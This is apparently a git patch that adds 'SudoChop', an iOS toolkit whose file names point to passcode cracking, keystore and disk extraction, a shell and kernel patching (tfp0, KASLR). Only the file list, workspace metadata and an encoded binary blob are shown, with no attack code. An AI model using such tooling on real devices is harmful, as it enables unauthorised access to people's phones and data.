From c95373832f16ee0c15f5edae29a5a32aebb650ff Mon Sep 17 00:00:00 2001 From: matteyeux Date: Tue, 30 Oct 2018 20:04:06 +0100 Subject: [PATCH] Sudo commit!!! --- SudoChop.xcworkspace/contents.xcworkspacedata | 16 + .../xcshareddata/SudoChop.xccheckout | 32 + .../UserInterfaceState.xcuserstate | Bin 0 -> 118699 bytes .../WorkspaceSettings.xcsettings | 22 + .../xcdebugger/Breakpoints_v2.xcbkptlist | 39 + .../xcschemes/all.xcscheme | 110 ++ .../xcschemes/xcschememanagement.plist | 14 + build.sh | 65 + crack/crack.xcodeproj/project.pbxproj | 458 +++++ .../xcschemes/crack.xcscheme | 86 + .../xcschemes/xcschememanagement.plist | 22 + crack/crack/AppleEffaceableStorage.c | 67 + crack/crack/AppleEffaceableStorage.h | 40 + crack/crack/AppleKeyStore.c | 321 ++++ crack/crack/AppleKeyStore.h | 86 + crack/crack/AppleKeyStore_kdf.c | 147 ++ crack/crack/IOAESAccelerator.c | 160 ++ crack/crack/IOAESAccelerator.h | 36 + crack/crack/IOKit.c | 91 + crack/crack/IOKit.h | 14 + crack/crack/Package/DEBIAN/control | 17 + crack/crack/Package/usr/bin/crack | Bin 0 -> 231408 bytes crack/crack/PackageVersion.plist | 16 + crack/crack/bsdcrypto/key_wrap.c | 119 ++ crack/crack/bsdcrypto/key_wrap.h | 40 + crack/crack/bsdcrypto/pbkdf2.c | 253 +++ crack/crack/bsdcrypto/pbkdf2.h | 24 + crack/crack/bsdcrypto/rijndael.c | 1266 ++++++++++++++ crack/crack/bsdcrypto/rijndael.h | 59 + crack/crack/bsdcrypto/sha1.c | 178 ++ crack/crack/bsdcrypto/sha1.h | 26 + crack/crack/com.sudo-sec.crack.plist | 23 + crack/crack/crack.c | 219 +++ crack/crack/crack.h | 14 + crack/crack/crackpin.c | 71 + crack/crack/crackpin.h | 15 + crack/crack/device_info.c | 96 ++ crack/crack/device_info.h | 5 + crack/crack/grab_locker.c | 84 + crack/crack/grab_system.c | 121 ++ crack/crack/ioaes.c | 47 + crack/crack/ioaes.h | 15 + crack/crack/ioflash/ioflash.c | 556 ++++++ crack/crack/ioflash/ioflash.h | 118 ++ crack/crack/ioflash/ioflash_kernel.c | 220 +++ crack/crack/registry.c | 427 +++++ crack/crack/registry.h | 1 + crack/crack/util.c | 263 +++ crack/crack/util.h | 90 + dump/dump.xcodeproj/project.pbxproj | 348 ++++ .../contents.xcworkspacedata | 7 + .../UserInterfaceState.xcuserstate | Bin 0 -> 10841 bytes .../xcschemes/dump.xcscheme | 86 + .../xcschemes/xcschememanagement.plist | 22 + dump/dump/PackageVersion.plist | 16 + dump/dump/com.sudo-sec.dump.plist | 23 + dump/dump/disk.c | 98 ++ dump/dump/disk.h | 21 + dump/dump/dump.c | 29 + dump/dump/dump.h | 12 + dump/dump/sock.c | 60 + dump/dump/sock.h | 17 + dump/dump/util.c | 220 +++ dump/dump/util.h | 85 + konsole.sh | 6 + konsole/konsole.xcodeproj/project.pbxproj | 519 ++++++ .../xcschemes/konsole.xcscheme | 86 + .../xcschemes/xcschememanagement.plist | 22 + konsole/konsole/PackageVersion.plist | 16 + konsole/konsole/debug.c | 54 + konsole/konsole/debug.plist | Bin 0 -> 295 bytes konsole/konsole/konsole.c | 17 + konsole/konsole/shell.c | 227 +++ konsole/konsole/shell.h | 22 + konsole/make.sh | 6 + panic.sh | 27 + panic/com.sudo-sec.panic.plist | 18 + patch/patch.xcodeproj/project.pbxproj | 540 ++++++ .../contents.xcworkspacedata | 7 + .../UserInterfaceState.xcuserstate | Bin 0 -> 13366 bytes .../xcschemes/patch.xcscheme | 86 + .../xcschemes/xcschememanagement.plist | 22 + patch/patch/PackageVersion.plist | 16 + patch/patch/avio.c | 176 ++ patch/patch/avio.h | 40 + patch/patch/com.sudo-sec.patch.plist | 23 + patch/patch/command.c | 142 ++ patch/patch/command.h | 78 + patch/patch/dangu.c | 38 + patch/patch/dangu.h | 26 + patch/patch/debug.h | 42 + patch/patch/devtree.c | 88 + patch/patch/devtree.h | 23 + patch/patch/earlyrandom.c | 230 +++ patch/patch/earlyrandom.h | 19 + patch/patch/find.c | 1489 +++++++++++++++++ patch/patch/find.h | 157 ++ patch/patch/kaslr.c | 41 + patch/patch/kaslr.h | 27 + patch/patch/kernel.c | 95 ++ patch/patch/kernel.h | 39 + patch/patch/m1n0rthreat.c | 214 +++ patch/patch/m1n0rthreat.h | 39 + patch/patch/macho.c | 627 +++++++ patch/patch/macho.h | 113 ++ patch/patch/pangwho.c | 9 + patch/patch/pangwho.h | 14 + patch/patch/patch.c | 322 ++++ patch/patch/patch.h | 26 + patch/patch/pmap.c | 28 + patch/patch/pmap.h | 19 + patch/patch/section.c | 114 ++ patch/patch/section.h | 58 + patch/patch/segment.c | 139 ++ patch/patch/segment.h | 67 + patch/patch/symbol.c | 70 + patch/patch/symbol.h | 47 + patch/patch/symtab.c | 127 ++ patch/patch/symtab.h | 65 + patch/patch/tfp0.c | 109 ++ patch/patch/tfp0.h | 22 + patch/patch/vmmap.c | 62 + patch/patch/vmmap.h | 27 + 123 files changed, 14035 insertions(+) create mode 100644 SudoChop.xcworkspace/contents.xcworkspacedata create mode 100644 SudoChop.xcworkspace/xcshareddata/SudoChop.xccheckout create mode 100644 SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate create mode 100644 SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/WorkspaceSettings.xcsettings create mode 100644 SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist create mode 100644 SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/all.xcscheme create mode 100644 SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist create mode 100644 build.sh create mode 100644 crack/crack.xcodeproj/project.pbxproj create mode 100644 crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/crack.xcscheme create mode 100644 crack/crack.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist create mode 100644 crack/crack/AppleEffaceableStorage.c create mode 100644 crack/crack/AppleEffaceableStorage.h create mode 100644 crack/crack/AppleKeyStore.c create mode 100644 crack/crack/AppleKeyStore.h create mode 100644 crack/crack/AppleKeyStore_kdf.c create mode 100644 crack/crack/IOAESAccelerator.c create mode 100644 crack/crack/IOAESAccelerator.h create mode 100644 crack/crack/IOKit.c create mode 100644 crack/crack/IOKit.h create mode 100644 crack/crack/Package/DEBIAN/control create mode 100644 crack/crack/Package/usr/bin/crack create mode 100644 crack/crack/PackageVersion.plist create mode 100644 crack/crack/bsdcrypto/key_wrap.c create mode 100644 crack/crack/bsdcrypto/key_wrap.h create mode 100644 crack/crack/bsdcrypto/pbkdf2.c create mode 100644 crack/crack/bsdcrypto/pbkdf2.h create mode 100644 crack/crack/bsdcrypto/rijndael.c create mode 100644 crack/crack/bsdcrypto/rijndael.h create mode 100644 crack/crack/bsdcrypto/sha1.c create mode 100644 crack/crack/bsdcrypto/sha1.h create mode 100644 crack/crack/com.sudo-sec.crack.plist create mode 100644 crack/crack/crack.c create mode 100644 crack/crack/crack.h create mode 100644 crack/crack/crackpin.c create mode 100644 crack/crack/crackpin.h create mode 100644 crack/crack/device_info.c create mode 100644 crack/crack/device_info.h create mode 100644 crack/crack/grab_locker.c create mode 100644 crack/crack/grab_system.c create mode 100644 crack/crack/ioaes.c create mode 100644 crack/crack/ioaes.h create mode 100644 crack/crack/ioflash/ioflash.c create mode 100644 crack/crack/ioflash/ioflash.h create mode 100644 crack/crack/ioflash/ioflash_kernel.c create mode 100644 crack/crack/registry.c create mode 100644 crack/crack/registry.h create mode 100644 crack/crack/util.c create mode 100644 crack/crack/util.h create mode 100644 dump/dump.xcodeproj/project.pbxproj create mode 100644 dump/dump.xcodeproj/project.xcworkspace/contents.xcworkspacedata create mode 100644 dump/dump.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate create mode 100644 dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/dump.xcscheme create mode 100644 dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist create mode 100644 dump/dump/PackageVersion.plist create mode 100644 dump/dump/com.sudo-sec.dump.plist create mode 100644 dump/dump/disk.c create mode 100644 dump/dump/disk.h create mode 100644 dump/dump/dump.c create mode 100644 dump/dump/dump.h create mode 100644 dump/dump/sock.c create mode 100644 dump/dump/sock.h create mode 100644 dump/dump/util.c create mode 100644 dump/dump/util.h create mode 100644 konsole.sh create mode 100644 konsole/konsole.xcodeproj/project.pbxproj create mode 100644 konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/konsole.xcscheme create mode 100644 konsole/konsole.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist create mode 100644 konsole/konsole/PackageVersion.plist create mode 100644 konsole/konsole/debug.c create mode 100644 konsole/konsole/debug.plist create mode 100644 konsole/konsole/konsole.c create mode 100644 konsole/konsole/shell.c create mode 100644 konsole/konsole/shell.h create mode 100644 konsole/make.sh create mode 100644 panic.sh create mode 100644 panic/com.sudo-sec.panic.plist create mode 100644 patch/patch.xcodeproj/project.pbxproj create mode 100644 patch/patch.xcodeproj/project.xcworkspace/contents.xcworkspacedata create mode 100644 patch/patch.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate create mode 100644 patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/patch.xcscheme create mode 100644 patch/patch.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist create mode 100644 patch/patch/PackageVersion.plist create mode 100644 patch/patch/avio.c create mode 100644 patch/patch/avio.h create mode 100644 patch/patch/com.sudo-sec.patch.plist create mode 100644 patch/patch/command.c create mode 100644 patch/patch/command.h create mode 100644 patch/patch/dangu.c create mode 100644 patch/patch/dangu.h create mode 100644 patch/patch/debug.h create mode 100644 patch/patch/devtree.c create mode 100644 patch/patch/devtree.h create mode 100644 patch/patch/earlyrandom.c create mode 100644 patch/patch/earlyrandom.h create mode 100644 patch/patch/find.c create mode 100644 patch/patch/find.h create mode 100644 patch/patch/kaslr.c create mode 100644 patch/patch/kaslr.h create mode 100644 patch/patch/kernel.c create mode 100644 patch/patch/kernel.h create mode 100644 patch/patch/m1n0rthreat.c create mode 100644 patch/patch/m1n0rthreat.h create mode 100644 patch/patch/macho.c create mode 100644 patch/patch/macho.h create mode 100644 patch/patch/pangwho.c create mode 100644 patch/patch/pangwho.h create mode 100644 patch/patch/patch.c create mode 100644 patch/patch/patch.h create mode 100644 patch/patch/pmap.c create mode 100644 patch/patch/pmap.h create mode 100644 patch/patch/section.c create mode 100644 patch/patch/section.h create mode 100644 patch/patch/segment.c create mode 100644 patch/patch/segment.h create mode 100644 patch/patch/symbol.c create mode 100644 patch/patch/symbol.h create mode 100644 patch/patch/symtab.c create mode 100644 patch/patch/symtab.h create mode 100644 patch/patch/tfp0.c create mode 100644 patch/patch/tfp0.h create mode 100644 patch/patch/vmmap.c create mode 100644 patch/patch/vmmap.h diff --git a/SudoChop.xcworkspace/contents.xcworkspacedata b/SudoChop.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..165340d --- /dev/null +++ b/SudoChop.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,16 @@ + + + + + + + + + + + diff --git a/SudoChop.xcworkspace/xcshareddata/SudoChop.xccheckout b/SudoChop.xcworkspace/xcshareddata/SudoChop.xccheckout new file mode 100644 index 0000000..d2af05f --- /dev/null +++ b/SudoChop.xcworkspace/xcshareddata/SudoChop.xccheckout @@ -0,0 +1,32 @@ + + + + + IDESourceControlProjectFavoriteDictionaryKey + + IDESourceControlProjectIdentifier + EA0DF5C0-8A03-4657-8C7A-4289F02AD142 + IDESourceControlProjectName + SudoChop + IDESourceControlProjectRelativeInstallPathDictionary + + 5E438143-B91B-4DD2-8176-F89A16BD93B8 + ../konsole + + IDESourceControlProjectVersion + 110 + IDESourceControlProjectWCCIdentifier + 5E438143-B91B-4DD2-8176-F89A16BD93B8 + IDESourceControlProjectWCConfigurations + + + IDESourceControlRepositoryExtensionIdentifierKey + public.vcs.git + IDESourceControlWCCIdentifierKey + 5E438143-B91B-4DD2-8176-F89A16BD93B8 + IDESourceControlWCCName + konsole + + + + diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate new file mode 100644 index 0000000000000000000000000000000000000000..a22e3099ca5bdc094c4f6d45b063ab3a4fe34630 GIT binary patch literal 118699 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 